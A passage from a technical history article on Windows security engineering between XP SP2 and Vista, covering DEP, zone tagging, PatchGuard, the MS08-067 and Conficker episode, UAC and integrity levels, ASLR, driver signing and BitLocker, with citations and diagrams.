Data Execution Prevention is the Windows trade name for refusing to execute instructions from pages marked as data. Hardware-enforced DEP uses the AMD NX bit ("No-eXecute") or the Intel XD bit ("eXecute Disable"), both shipped in commodity x86 silicon by 2004 -- the AMD64 Athlon 64 launched with the NX bit on September 23, 2003 [@s-wp-athlon-64], and Intel followed with XD on the Prescott Pentium 4 stepping in mid-2004.

Software-enforced DEP on CPUs without the bit relied on SafeSEH-based exception-handler validation, which closed the most common shellcode-staging pattern of the era (overwrite a saved exception handler on the stack, trigger an exception, jump into shellcode) without actually marking pages non-executable [@s-msft-sehop-kb956607]. SP2 introduced four configurations -- OptIn, OptOut, AlwaysOn, AlwaysOff -- selectable via boot.ini and later via BCD; the default on consumer XP was OptIn (system DLLs only) [@s-windows-internals-5e].

A defense that refuses to fetch and execute instructions from memory pages whose protection bits mark them as non-executable. Hardware-enforced DEP uses the NX page-table bit on x86 / x64 silicon (AMD's branding) or the XD bit (Intel's branding). Software-enforced DEP without the page bit relies on safe exception handlers (SafeSEH) to close the dominant stack-overflow exploitation pattern [@s-msft-sehop-kb956607]. Shipped in XP SP2 in August 2004 and refined repeatedly through Windows 10 [@s-windows-internals-5e]. A single bit in an x86 / x64 page table entry that, when set, instructs the CPU to fault on an instruction fetch from that page. AMD's name is NX (No-eXecute) and shipped first in 2003 on the Opteron; Intel's equivalent is XD (eXecute Disable). The bit is the hardware substrate for DEP and for the W^X (Write XOR Execute) memory policy that OpenBSD and PaX had pioneered earlier in the decade [@s-pax-aslr-live, @s-openbsd-3-4-wayback].

The academic prior art is older than DEP by six years. Crispin Cowan's StackGuard paper at the 7th USENIX Security Symposium in January 1998 [@s-cowan-stackguard] introduced the canary-based stack-overflow detector that the Visual C++ /GS flag adopted in 2002 with Visual Studio .NET [@s-msft-gs-buffer-security-check, @s-wp-vs] and that DEP complemented rather than replaced. On the Linux side, the PaX project had shipped W^X plus mmap-base randomization in 2003 [@s-pax-aslr-live, @s-pax-docs-index]. OpenBSD 3.4, released on November 1, 2003, was the first general-purpose operating system to ship integrated W^X plus library-load-order randomization default-on [@s-openbsd-3-4-wayback]. Vista's ASLR three years later was, by mainstream-OS standards, late.

The DEP-versus-JIT compatibility breakage is the canonical "good security default that breaks shipping software" story of the SP2 era. JavaScript engines, Java, .NET, and Flash all generated executable code into RW pages at runtime and ran headlong into DEP's first-generation policy. The modern fix is the explicit VirtualProtect transition (RW into RX and back) that every JIT now uses, but the engineering took years to converge across vendors. The next pass through the same problem -- W^X enforced by CPU mode in Apple silicon -- finally made the explicit-transition pattern a first-class API.

4.3 Attachment Execution Service and the Zone.Identifier ADS

This is the subsection that most retellings of XP SP2 get backwards. The Mark-of-the-Web -- the HTML comment of the form  that Internet Explorer reads on a saved web page to decide which security zone to apply -- did not ship with SP2. It shipped two years earlier in Internet Explorer 6 Service Pack 1 in 2002.

What SP2 added is the Attachment Execution Service: the system-wide enforcement substrate that, when a file arrives via Outlook, Outlook Express, Internet Explorer, Windows Messenger, or any caller of the IAttachmentExecute shell API [@s-msft-iattachmentexecute], writes a Zone.Identifier NTFS Alternate Data Stream tagging the file with its originating security zone.

The XP SP2 shell service that, on attachment download from a recognised zone-aware caller (Outlook, IE, Messenger, the `IAttachmentExecute` API [@s-msft-iattachmentexecute]), writes a `Zone.Identifier` NTFS Alternate Data Stream tagging the file with its originating zone (Internet, Restricted, Trusted, Local Intranet). AES is the system-wide enforcement substrate that materialised the existing Mark-of-the-Web concept into a persistent file-system record the Shell consults at execute time. Substrate, not ancestor. An NTFS Alternate Data Stream named `Zone.Identifier`, attached to a file by the Attachment Execution Service or its callers. The ADS body is a small INI file with a `[ZoneTransfer]` section whose `ZoneId` value (3 for Internet, 4 for Restricted, 2 for Trusted, 1 for Local Intranet, 0 for Local Machine) the Shell reads on execute attempts. The ADS persists with the file across copies on NTFS volumes; copying to FAT32 or onto a non-NTFS share strips it -- which is why USB sticks and consumer file-sharing services have historically been laundering paths for web-originated executables.

{ // Illustrative parser. The real call is to CreateFileW on a path of // the form "C:\\\\downloads\\\\foo.exe:Zone.Identifier", reading the // resulting stream as a tiny INI file. const adsContent = [ "[ZoneTransfer]", "ZoneId=3", "ReferrerUrl=example.com/", "HostUrl=example.com/downloads/foo.exe", ].join("\\n"); const zoneNames = { 0: "Local Machine", 1: "Local Intranet", 2: "Trusted", 3: "Internet", 4: "Restricted" }; const lines = adsContent.split("\\n"); const kv = Object.fromEntries( lines.filter(l => l.includes("=")).map(l => l.split("="))); const zone = parseInt(kv.ZoneId, 10); console.log(\File originated from zone ${zone} (${zoneNames[zone]})`); console.log(`Referrer: ${kv.ReferrerUrl}`); `}

The architectural property the substrate produces is the one downstream tools cannot live without. Office Protected View opens with restricted privileges precisely when the document's Zone.Identifier reports Internet origin. SmartScreen warns on first execute of any binary whose ADS says Internet. Microsoft Defender Application Control treats Zone.Identifier as a first-class file attribute in its policy language. None of those tools would work the way they do if AES had not made the zone tag a persistent file-system property in 2004.

4.4 Internet Explorer 6 SP2 hardening

The IE6 SP2 hardening pass is the largest browser security delta in any service-pack-era Windows update before or since. The pop-up blocker on by default plus the Information Bar gave the browser a way to defer execution of script-launched popups behind an explicit user click. MIME-handling lockdown closed the MIME-sniffing attacks the Outlook MHTML class had enabled (an attacker could serve a binary as Content-Type: text/plain and have IE sniff and execute it anyway).

The Local Machine Zone lockdown blocked script execution from the LMZ by default for IE-rendered documents, closing the cross-zone elevation path that several earlier IE vulnerabilities had taught attackers to chain through mhtml: and file:// URL tricks. The ActiveX opt-in framework required user confirmation before any controls were installed from the Internet. The compatibility cost was real and immediate: legitimate ActiveX line-of-business intranet apps, legacy webmail pop-ups, and corporate intranet portals all required exemption configuration before they would keep working as before.

4.5 Security Center

Security Center is easy to underestimate because its UI looked like a Control Panel applet. It was the first centralised surface that aggregated three previously invisible state signals -- firewall status, Automatic Updates status, antivirus status (presence, definitions currency, real-time protection enabled) -- into a single interface a non-technical user could read.

The balloon-tip notification UI surfaced negative states aggressively; the visible degradation was the entire point. The third-party AV vendors -- Symantec and McAfee in particular -- objected publicly to Microsoft's display of competing status, and the resulting friction previewed the 2009 European Union agreement that constrained Microsoft's default-bundled-AV options for the rest of the era.

Three of these five mitigations made it into Vista substantially unchanged. Two of them -- the firewall and the ADS-based zone tagging -- were re-architected because Vista's threat model went past the application-on-the-network and into the application-on-the-desktop. To see why, we have to leave XP behind and walk year by year through what happened next.

5. Year by Year, 2005 Through 2009

If XP SP2 was the proof of concept for on-by-default mitigations, the next four years were the proof of work. Microsoft was shipping kernel self-protection, anti-exploit defenses, and the first real attempt at a privilege model the consumer would actually use. The security research community was learning faster than the shipping cadence could absorb. Two industry coordination moments and one wormable RCE close the period.

gantt dateFormat YYYY-MM-DD axisFormat %b %Y section Memos and process Trustworthy Computing memo :a1, 2002-01-15, 7d Security stand-down :a2, 2002-02-01, 60d SDL mandated at Microsoft :a3, 2004-09-01, 120d Mojave Experiment :a4, 2008-07-01, 30d section Windows releases XP SP2 :b1, 2004-08-06, 90d XP x64 and Server 2003 x64 :b2, 2005-04-25, 30d Vista RTM :b3, 2006-11-08, 14d Vista consumer GA :b4, 2007-01-30, 14d Vista SP1 RTM :b5, 2008-02-04, 14d Vista SP1 GA :b6, 2008-03-18, 14d Windows 7 RTM :b7, 2009-07-22, 14d Windows 7 GA :b8, 2009-10-22, 14d section Attacks Blaster :c1, 2003-08-11, 30d Welchia :c2, 2003-08-18, 30d Sasser :c3, 2004-04-30, 30d MS08-067 out-of-band patch :c4, 2008-10-23, 7d Conficker.A first detected :c5, 2008-11-20, 30d Conficker.C DGA expansion :c6, 2009-03-04, 30d section Research Cowan StackGuard USENIX :d1, 1998-01-26, 7d PaX ASLR design doc :d2, 2003-03-15, 7d OpenBSD 3.4 W^X plus library randomization :d3, 2003-11-01, 7d Shacham et al CCS 2004 ASLR analysis :d4, 2004-10-25, 7d Hoglund and Butler Rootkits book :d5, 2005-06-01, 7d skape and Skywing Uninformed Vol 3 :d6, 2005-12-01, 7d Symantec McAfee public PatchGuard objection :d7, 2006-10-01, 30d Ferguson BitLocker whitepaper :d8, 2006-08-01, 30d Shacham ROP CCS 2007 :d9, 2007-10-29, 7d Halderman cold-boot USENIX 2008 :d10, 2008-07-28, 7d Conficker Working Group forms :d11, 2009-02-12, 14d CWG Lessons Learned final :d12, 2010-06-17, 7d

5.1 April 2005: XP Professional x64 Edition and Server 2003 x64

Windows XP Professional x64 Edition and Windows Server 2003 x64 Edition were the first Windows releases to ship Kernel Patch Protection -- the kernel self-defense mechanism widely known as PatchGuard. The common version of the story moves PatchGuard's debut to Vista by twenty months. It did not debut on Vista.

Microsoft Security Advisory 932596 (published August 14, 2007, updated April 23, 2008) is unambiguous: "An update is available for Kernel Patch Protection included with x64-based Windows operating systems" [@s-msft-adv-932596]. The x64-based qualifier is load-bearing. Vista x64 inherited PatchGuard v2 in November 2006; Vista SP1 x64 shipped v3 in February 2008. The x86 editions of Vista never got PatchGuard.

Microsoft's kernel-mode self-protection feature on x64 Windows. PatchGuard periodically verifies the integrity of a fixed list of kernel data structures (SSDT, IDT, GDT, MSRs, system images, the kernel's own code pages) and bug-checks the system on detected modification. Shipped first in April 2005 in Windows XP Professional x64 Edition and Windows Server 2003 x64 Edition. Vista x64 inherited it (v2 in Vista RTM, v3 in Vista SP1). Vista did NOT introduce PatchGuard [@s-msft-adv-932596].

The architectural target of PatchGuard is the 2003-era rootkit class catalogued in Hoglund and Butler's Rootkits: Subverting the Windows Kernel (Addison-Wesley, 2005) [@s-hoglund-butler-rootkits]: SSDT hooks, IDT hooks, inline patches of function prologues, modifications to the System Service Descriptor Table, manipulation of the Object Manager's namespace. The same April 2005 release also introduced advisory (warnings, not enforcement) kernel-mode driver signing. Mandatory kernel-mode driver signing arrived with Vista x64 a year and a half later [@s-msft-driver-signing].

5.2 October 2006: Symantec and McAfee object to PatchGuard in public

The first major public clash between kernel self-defense and the kernel-extension model that the antivirus industry had built businesses on came in October 2006, weeks before Vista RTM. Symantec and McAfee both took the position that PatchGuard would make their products materially less effective by closing off the kernel-mode hooking patterns their behavioural detection engines depended on [@s-wp-kpp].

Microsoft's response was to formalise the existing Cm, Ob, and Ps notification routines (registry, object-manager, and process callbacks) and the Filter Manager and Windows Filtering Platform callout architectures as supported extension surfaces. The pattern -- a kernel-integrity feature pressed up against existing AV business models, followed by a published callback API that gives the AV industry a supported path -- recurs with Driver Signature Enforcement in Vista x64, with Early Launch Antimalware in Windows 8, with HVCI in Windows 10 and 11, and with the Microsoft Vulnerable Driver Block list rollout from 2020 onward.

5.3 December 1, 2005: skape and Skywing's "Bypassing PatchGuard on Windows x64"

In December 2005, eight months after PatchGuard's debut, skape (Matt Miller) and Skywing (Ken Johnson) published "Bypassing PatchGuard on Windows x64" in Uninformed Vol. 3 [@s-skape-skywing-patchguard]. The paper is widely mis-cited: it is dated December 1, 2005 (the Uninformed volume publication is January 2006); it is co-authored, not single-authored; it has no subtitle. Upstream secondary references occasionally attribute the paper to Skywing alone with a July 2006 date and the subtitle "Bypassing Kernel Patch Protection on Windows x64." The corrected metadata is what the article uses.

The structural observation that any defense which runs at a given privilege level cannot fundamentally constrain an attacker who also runs at that privilege level. PatchGuard runs at ring 0; rootkits run at ring 0; therefore PatchGuard is bypassable in principle from a sufficiently privileged kernel-mode attacker. skape and Skywing's December 2005 *Uninformed* paper demonstrated three concrete bypass technique classes [@s-skape-skywing-patchguard]. The genuine architectural fix waits for hypervisor-protected mechanisms (HVCI in Windows 10 Anniversary Update, August 2016; VBS and Pluton in Windows 11) that run the integrity verifier from a more privileged execution mode than the attacker. Any defense that runs at the same privilege level as the attacker is fundamentally bypassable. -- paraphrased from the load-bearing conclusion of skape and Skywing, *Uninformed* Vol. 3, December 1, 2005 [@s-skape-skywing-patchguard]

5.4 November 8, 2006: Vista RTM

Windows Vista released to manufacturing on November 8, 2006. Volume-license availability via the Microsoft Volume Licensing portal began "sometime before Nov. 30, 2006" per the same-day Computerworld press-conference coverage [@s-lai-computerworld-vista-rtm]. Consumer general availability was January 30, 2007. Keep these as three distinct dates: the gap between RTM and consumer GA is where most enterprise IT departments tested compatibility, and where the volume-license customers who later complained loudest about Vista actually first encountered it.

5.5 January 30, 2007: Vista consumer GA and the reception

The pivot from technical release to cultural event happened in the first six months of 2007. Apple's "Get a Mac" television-spot series ran "Security" and "Cancel or Allow" through the summer, dramatizing UAC prompt fatigue for a mass audience [@s-wp-get-a-mac].

The Kelley v. Microsoft Corp. lawsuit (No. 2:07-cv-00475-MJP, W.D. Wash.) was filed on March 29, 2007 and certified as a class action in February 2008 [@s-cw-vista-capable-class], alleging that Microsoft had marketed machines as "Vista Capable" that could only run Home Basic without the Aero compositor or many of the security features the launch had highlighted. The Mojave Experiment in July 2008 -- Microsoft showing Vista to focus groups under a different name and getting positive reactions -- was the era's confession that the perceptual layer mattered as much as the architectural layer [@s-msft-mojave-experiment, @s-wp-mojave-experiment].

The Vista Capable case is Kelley v. Microsoft Corp., No. 2:07-cv-00475-MJP, W.D. Wash., filed March 29, 2007 and certified February 22, 2008 [@s-cw-vista-capable-class]. Coverage that condenses the timeline to "Vista launched and was sued" tends to misstate the filing month as April or May.

Was Vista the most-hated Windows release? Windows ME and Windows 8 have competing claims, and any honest treatment needs to acknowledge them. Call Vista one of the most poorly received Windows consumer releases of its era. The reception was uniquely consequential -- the SP1-era enterprise inertia, the consumer skipping that left a large XP-to-7 leap, and the marketing problem Windows 7's launch had to solve. The substantive argument does not depend on the superlative.

5.6 February 4, 2008: Vista SP1 RTM

Vista Service Pack 1 released to manufacturing on February 4, 2008, with broad availability starting March 18, 2008 [@s-msft-news-vista-sp1-rtm]. This is the "real Vista" enterprise IT deployed. PatchGuard v3 shipped with SP1. The file-copy engine got the performance fix that Vista's reviewers had spent a year complaining about. Windows Search was refactored to reduce IO contention with foreground work. A set of compatibility shims relaxed UAC on several common operations that had been hitting too many false-positive prompts.

Vista SP1 RTM is February 4, 2008 (build 6001.18000); broad GA is March 18, 2008 [@s-msft-news-vista-sp1-rtm]. Upstream summaries sometimes mis-state the RTM as November 2007 -- that date is actually the SP1 Release Candidate 1 milestone, not RTM.

5.7 October 23, 2008: MS08-067 out-of-band

The vulnerability behind MS08-067 is a stack buffer overflow in the path-handling code (the function commonly named NetprPathCanonicalize in the NetAPI library), reachable through the Server service's srvsvc RPC interface over SMB on TCP/445 (and TCP/139 in NetBT environments) without authentication. CVE-2008-4250 [@s-nvd-cve-2008-4250]. The patch is out-of-band because the MSRC analysts who reviewed the bug believed weaponisation was weeks away.

Vista's DEP and ASLR materially raised the cost of exploitation on Vista compared to XP -- the bulletin rates the issue Critical on Windows 2000, XP, and Server 2003 but Important on Vista and Server 2008 [@s-ms08-067]. The October 2008 installed base, however, was overwhelmingly Server 2003 and XP. The first in-the-wild MS08-067 exploitation in October 2008 was Gimmiv.A, a narrower non-self-propagating Trojan, per NVD [@s-nvd-cve-2008-4250]. Conficker was three weeks away.

5.8 Late November 2008: Conficker.A is first detected

Conficker.A was first detected in late November 2008, anchored to November 20, 2008 in SRI International's "An Analysis of Conficker C" addendum, whose introductory paragraph reads: "Conficker malware family, which first appeared on the Internet on 20 November 2008" [@s-sri-conficker-c-addendum]. The gap from MS08-067 to Conficker.A is approximately twenty-nine days. The October-2008 in-the-wild MS08-067 exploitation was Gimmiv.A; Conficker is a separate, later, much larger event.

The audit-mandated date correction: Conficker.A first detected in late November 2008, with November 20, 2008 as the canonical SRI anchor [@s-sri-conficker-c-addendum]. The October-2008 in-the-wild MS08-067 exploitation reported in NVD is Gimmiv.A, not Conficker [@s-nvd-cve-2008-4250].

5.9 December 2008 through April 2009: Conficker.B, C, E

The variant taxonomy matters because it is the evidence base for how quickly the worm's authors learned, and how the Conficker Working Group's coordinated defense responded. Conficker.B in late December 2008 added removable-drive autorun spreading, a dictionary attack against weak shares, and a fallback exploit path against the older MS06-040 vulnerability for the small fraction of targets that were still unpatched against it.

Conficker.A already had a 250-domain-per-day Domain Generation Algorithm; what Conficker.C added on March 4, 2009 at 6 p.m. PST (March 5 UTC) was a 50,000-domain-per-day rendezvous-pool expansion across 110 top-level domains and a peer-to-peer coordination channel that no longer required successful DNS rendezvous -- two functional additions of the same variant, not two sequential revisions. The SRI "An Analysis of Conficker C" addendum is explicit on this: variant C "incorporates a major restructuring of B's previous thread architecture and program logic, including major functional additions such as a new peer-to-peer (P2P) coordination channel, and a revision of the domain generation algorithm (DGA)" [@s-sri-conficker-c-addendum]. Conficker.E, in April 2009, added payload-delivery for scareware and the Waledac spam botnet; the in-era variant chain runs A to B to C to E, matching both the SRI primary and the CWG taxonomy.

Conficker.B's MS06-040 fallback exploit path was scoped to Windows 2000 targets only -- the older bulletin's RCE vector did not reach the post-2003 SMB stack the same way. The Conficker Working Group taxonomy is sometimes summarised in ways that imply the MS06-040 fallback was a broader secondary attack vector; it was not.

5.10 February 12, 2009: Conficker Working Group and the $250,000 bounty

On February 12, 2009 Microsoft posted a US$250,000 bounty for information leading to the arrest and conviction of Conficker's authors, and the Conficker Working Group formally constituted itself as a coordinated industry response -- Microsoft, ICANN, F-Secure, Symantec, Verisign, Georgia Tech, and roughly 120 other participating organisations [@s-cwg-lessons-learned-2019].

The CWG's "Lessons Learned" final report (June 17, 2010) is the canonical post-mortem primary that the rest of this article relies on for variant taxonomy, infection-count framing, and the deployment-velocity-ceiling argument [@s-cwg-lessons-learned-2019]. The 9-to-15-million infected machines figure is the report's own range; counts varied with measurement methodology and with which Conficker variants the counter included.SRI International's per-country infection table from the same period shows the geographic distribution: China (about 2.65M observed bots), Brazil (about 1.02M), Russia (about 836K), India (about 607K), Argentina (about 569K) topping the list [@s-sri-conficker-resources]. The distribution tracked installed-base size of unpatched XP and Server 2003 closely.

Vista shipped on November 8, 2006 and the world made up its mind about the reception by mid-2007. To understand why the architecture survived the reception, we have to look at what the architecture actually was -- feature by feature -- and what each feature defended against.

6. The Vista Security Catalogue

Open Windows Internals, 5th edition (Russinovich, Solomon, and Ionescu, Microsoft Press, 2009) [@s-windows-internals-5e] to the security chapter and the table of contents reads like a list of features Microsoft did not have eighteen months earlier. Eight features in particular form the Vista security architecture, not because they were the only changes, but because every other Vista security improvement either depends on one of these or polishes one of these.

6.1 The integrity-level stack: UAC, MIC, and UIPI

User Account Control is the consumer-visible part. Underneath sit two architectural primitives that do almost all the work: Mandatory Integrity Control and User Interface Privilege Isolation.

UAC's split-token model works like this. When an interactive user logs on whose group membership includes Administrators, the Local Security Authority issues two access tokens, not one. The filtered token has Administrators removed (more precisely, marked deny-only) and the high-privilege list stripped down to the standard-user set; the full token retains everything.

The user session starts running under the filtered token by default. When a program tries to perform an operation that requires the full token -- writing under %ProgramFiles%, modifying HKLM, loading a driver -- the Application Information service displays a Secure Desktop consent prompt. On consent, the full token is released for that process only; the rest of the session continues on the filtered token.

The Vista feature that runs interactive administrator accounts under a filtered standard-user token by default and prompts for explicit consent before releasing the full administrator token to a specific process. The Secure Desktop switch isolates the consent prompt from window-message injection by lower-integrity processes. Russinovich is explicit in the load-bearing primary: elevations were introduced as a convenience, and their existence "prevents OTS elevations from being a security boundary" [@s-russinovich-uac-technet]. The boundary classification arrives much later with Administrator Protection in the 2024 to 2026 Windows 11 era.

Mandatory Integrity Control adds the second axis the discretionary-access-control model never had. Every process token carries an integrity-level SID drawn from a small set -- Untrusted S-1-16-0, Low S-1-16-4096, Medium S-1-16-8192, High S-1-16-12288, System S-1-16-16384 -- and every securable object carries an integrity-level access control entry indicating the minimum integrity required to write (and optionally read or execute). The kernel's access check evaluates integrity before the discretionary ACL [@s-msft-mic-win32]. A Low-integrity process holding a handle to a Medium-integrity registry key cannot write to it regardless of what the DACL says.

Vista's mandatory-access-control primitive added to the Windows access-check pipeline. MIC attaches an integrity-level SID to every process token and an integrity-level ACE to every securable object, then evaluates the integrity comparison before the discretionary access control list. MIC is the architectural substrate every later Windows containment story (AppContainer, Modern Apps, browser sandbox, Office Protected View, WDAG, VBS) inherits [@s-msft-mic-win32].

User Interface Privilege Isolation closes the third class of cross-integrity attack: window-message injection. Before UIPI, any process in the same desktop could send window messages (SendMessage, PostMessage, WM_TIMER, SetWindowsHookEx) to any other process's windows, including elevated ones. Chris Paget's 2002 "shatter attack" paper had walked through the attack surface methodically. UIPI prevents a lower-integrity process from sending most messages to higher-integrity windows; the Secure Desktop completes the closure for the consent UI itself by drawing it on a separate desktop the user-session processes cannot reach.

Vista's mechanism preventing lower-integrity processes from sending window messages (SendMessage, PostMessage, SetWindowsHookEx, WM_TIMER, etc.) to higher-integrity windows on the same desktop. Closes the shatter-attack class documented by Chris Paget in 2002. Together with the Secure Desktop, UIPI is the closure that makes the UAC consent prompt actually resistant to programmatic dismissal from a malware process running in the same user session. flowchart TD A[Interactive logon as Administrator] --> B[LSA splits token] B --> C[Filtered standard-user token] B --> D[Full administrator token held aside] C --> E[User session starts under filtered token] E --> F[Program requests admin operation] F --> G[Application Information service intercepts] G --> H[Secure Desktop switch] H --> I[UAC consent prompt] I --> J{"Consent?"} J -- Yes --> K[Full token released to this process only] J -- No --> L[Operation denied] K --> M[Process runs at High integrity] L --> E

Russinovich's "Inside Windows Vista User Account Control" in TechNet Magazine June 2007 is the canonical primary on design intent [@s-russinovich-uac-technet]; a separate Mark's-Blog post dated February 12, 2007 anchored the multi-part TechNet blog series on PsExec and the restricted-token discussion [@s-russinovich-psexec-blog]. The two are distinct primaries and the article does not conflate them.

The TechNet Magazine UAC article is a single standalone piece at asset id cc138019 [@s-russinovich-uac-technet]. There is a separately numbered Magazine asset at cc162493 that is sometimes mis-cited as "Part 2" of the UAC series; live fetches of that URL return an unrelated Raymond Chen column. The article cites cc138019 only and treats the February 12, 2007 blog post as the start of the distinct multi-part blog series.

6.2 Anti-exploit mitigations: ASLR and Vista-era DEP refinements

Vista is the first Windows release to ship Address Space Layout Randomization. Vista's ASLR randomizes the load address of system DLLs and of executables linked with /DYNAMICBASE; it is opt-in for user code. Mandatory ASLR for all images is a later-Windows feature, with Force ASLR appearing in EMET and in Windows 8, and full enforcement landing in Windows 10. The randomization is per-boot for system images and per-process-load for user images. Entropy on x86 is roughly 8 bits (256 possible base addresses), and considerably more on x64.

A defense that randomizes the base addresses of executable images, libraries, the stack, and the heap so attackers cannot predict the location of useful code or data. Vista (January 2007) was the first Windows release to ship ASLR; Vista's implementation randomized system DLLs and `/DYNAMICBASE`-linked user images, with per-boot randomization for system images and per-process-load randomization for user images. The Linux-side prior art is PaX [@s-pax-aslr-live, @s-pax-docs-index], and OpenBSD 3.4 (November 1, 2003) was the first general-purpose OS to ship integrated W^X plus library-load-order randomization default-on [@s-openbsd-3-4-wayback]. The brute-force entropy bound is the Shacham et al. CCS 2004 result [@s-shacham-asrandom-ccs2004].

The Shacham et al. CCS 2004 paper showed that 8 bits of ASLR entropy yields an expected $2^{7} = 128$ attempts to brute-force the base on a target process that respawns after crash [@s-shacham-asrandom-ccs2004]. The result is why x64 ASLR (with substantially more bits of entropy) is qualitatively different and why Force ASLR in Windows 8 was a categorical improvement over Vista's opt-in model.

The DEP refinements in Vista are mostly about loader cooperation. Vista's PE loader respects the IMAGE_DLLCHARACTERISTICS_NX_COMPAT flag, so binaries that opt in to DEP get the policy applied without per-process configuration. SEHOP (Structured Exception Handler Overwrite Protection) precursor work also lands.

Three years later, Hovav Shacham's CCS 2007 paper on Return-Oriented Programming will show that DEP alone is necessary but not sufficient: an attacker who cannot inject and execute new code can still chain together existing executable-code "gadgets" from already-loaded modules to construct functional payloads [@s-shacham-rop-geometry-ccs2007]. That insight is what drives the next generation of Windows mitigations -- CFG, CET, /GUARD:EH -- but those are out of era.

6.3 Kernel self-protection on x64: inherited PatchGuard, new mandatory KMCS

Vista did not introduce PatchGuard; it inherited the April 2005 x64 mechanism. What Vista x64 did introduce is mandatory kernel-mode driver signing. Unsigned drivers do not load on Vista x64 under the Kernel-Mode Code Signing policy.

The documented escape hatch for development is bcdedit /set testsigning on, which causes the boot loader to honour test-signing-rooted certificates and which displays a permanent desktop watermark to make the state of the machine visible. Together with the inherited PatchGuard, the combination foreclosed the dominant 2003-era rootkit installation path: drop a .sys, register it via SCM, kernel loads it with no signature check, kernel hooks become trivial [@s-msft-driver-signing].

The Vista x64 policy that refuses to load kernel-mode drivers unless they carry a digital signature rooted in a Microsoft-trusted certificate chain (Microsoft WHQL, a cross-certified third-party CA, or a Microsoft Hardware certificate). `bcdedit /set testsigning on` is the documented development-time escape hatch. Vista x86 never received mandatory KMCS, which is one of the structural reasons x64 became the dominant Windows architecture during the next decade [@s-msft-driver-signing].

x86 Vista did not get mandatory KMCS, because the installed-base compatibility cost was deemed too high; the x86 / x64 asymmetry is one reason x64 became the dominant Windows architecture by 2010. The post-2010 afterlife is "Bring Your Own Vulnerable Driver" attacks: KMCS forecloses unsigned drivers but does not address the case of a legitimately signed driver containing a vulnerability the attacker exploits to gain kernel-mode code execution. BYOVD became the dominant rootkit-loading path from approximately 2010 onward, and the Microsoft Vulnerable Driver Block list (2020 onward) is the architectural response.

The post-KMCS attack pattern in which an attacker installs a legitimately signed kernel-mode driver that contains an exploitable vulnerability, then exploits the driver to gain ring-0 code execution. KMCS forecloses the unsigned-driver path but does not prevent loading of signed drivers, so attackers brought their own. Architectural closure waits for the Microsoft Vulnerable Driver Block list and Hypervisor-Protected Code Integrity, both of which post-date this article's era.

6.4 Service Hardening

Service Hardening is the Vista feature that most reduced the blast radius of a service-level exploit even when exploitation succeeded. Three changes did the work. Per-service SIDs of the form NT SERVICE\<servicename> give every service a distinct security principal -- the previous model was that every service running as LocalSystem shared the same identity.

NT AUTHORITY\WRITE RESTRICTED tokens constrain a service to writing only to resources whose DACL explicitly grants its per-service SID, even when the service token nominally has higher privileges. Minimum-privilege configuration replaces the historical LocalSystem superset; the SCM lets services declare exactly which privileges they require. And Windows Firewall rules can be authored per-service-SID, so a compromised service can be blocked from reaching the network even if the rest of the box can. The print primary is Windows Internals, 5th edition (Russinovich, Solomon, Ionescu, Microsoft Press, 2009) [@s-windows-internals-5e].

A security identifier of the form `NT SERVICE\` distinct to each Windows service, automatically derived from the service short name. Per-service SIDs are the primitive that lets a host firewall rule, a `WRITE RESTRICTED` token policy, or a registry-key DACL constrain a single service without affecting any other service in the same `svchost.exe` process or any other principal sharing the same logon SID.

6.5 Windows Resource Protection

Windows Resource Protection replaces Windows File Protection (the Windows 2000-era SFC mechanism), whose model was "the OS keeps a hidden catalog of canonical copies and silently replaces tampered system files." WRP is ACL-based instead. Protected files and registry keys are owned by the TrustedInstaller SID; the DACL grants modify rights only to TrustedInstaller. Administrators retain read access and can take ownership, but they cannot modify protected resources directly without that ownership transfer. The protection extends to registry keys, which WFP/SFC did not cover [@s-windows-internals-5e].

Vista's replacement for the Windows 2000 to XP-era Windows File Protection / SFC catalog-and-replace mechanism. WRP is ACL-based: protected files and registry keys are owned by `TrustedInstaller` and the DACL restricts modify access to `TrustedInstaller` itself; administrators can take ownership but cannot modify protected resources directly without that step. The protection also covers registry keys, which the older WFP did not. Note: the acronym "WFP" in this paragraph (Windows File Protection) is unrelated to the "WFP" (Windows Filtering Platform) in section 6.6.

6.6 Windows Filtering Platform

Vista and Server 2008 replace the prior NDIS-IM, TDI, and firewall-hook stack-extension architecture with the Windows Filtering Platform: a kernel-mode framework of filtering layers (transport, network, application-layer enforcement), shims, and callout drivers giving third-party firewalls, IDS/IPS, and content filters a supported extension surface. The Base Filtering Engine in user mode centralises policy. Windows Firewall in Vista and every release thereafter sits on top of WFP.

Forshaw's Project Zero post documents the three-tier architecture directly: "MPSSVC converts its ruleset to the lower-level WFP firewall filters and sends them over RPC to the Base Filtering Engine (BFE) service. These filters are then uploaded to the TCP/IP driver (TCPIP.SYS) in the kernel which is where the firewall processing is handled" [@s-forshaw-projectzero-wfp].

Vista's kernel-mode replacement for the NDIS-IM, TDI, and firewall-hook stack-extension architecture that prior third-party firewalls had hooked into. WFP exposes filtering layers (transport, network, application-layer enforcement) plus a callout-driver API, with the user-mode Base Filtering Engine centralising policy and the Microsoft Protection Service service translating Windows Firewall rules into WFP filters. Note: the acronym "WFP" in this paragraph (Windows Filtering Platform) is unrelated to the "WFP" (Windows File Protection) in section 6.5; they are two unrelated three-letter abbreviations that happen to share initials [@s-forshaw-projectzero-wfp]. flowchart LR A[Windows Firewall policy] --> B[MPSSVC user-mode service] B --> C[Base Filtering Engine BFE user mode] C --> D[TCPIP.SYS kernel-mode filter] E[Third-party firewall or IDS] --> C F[Callout drivers] --> D D --> G[Network packets in or out]

6.7 BitLocker Drive Encryption

BitLocker shipped in Windows Vista Enterprise and Ultimate editions on January 30, 2007, and in Windows Server 2008. Protector modes were TPM-only (seal-to-PCR), TPM+PIN, TPM+startup-key, and recovery-key. The cipher was AES-CBC with the Elephant Diffuser, an additional diffusion layer Niels Ferguson designed specifically for the disk-encryption setting and documented in his August 2006 Microsoft whitepaper "AES-CBC + Elephant Diffuser: A Disk Encryption Algorithm for Windows Vista" [@s-ferguson-bitlocker]. The SKU limitation materially constrained deployment reach -- most Vista consumers ran Home Basic or Home Premium, neither of which included BitLocker at all.

Microsoft's full-volume encryption feature, first shipped in Windows Vista Enterprise and Ultimate (January 30, 2007) and in Windows Server 2008. Original Vista cipher: AES in CBC mode with Niels Ferguson's Elephant Diffuser overlay [@s-ferguson-bitlocker]. Protector modes: TPM-only (seal-to-PCR), TPM+PIN, TPM+startup-key, and recovery-key. The Vista release was edition-gated, which limited deployment reach materially across the consumer Vista base.

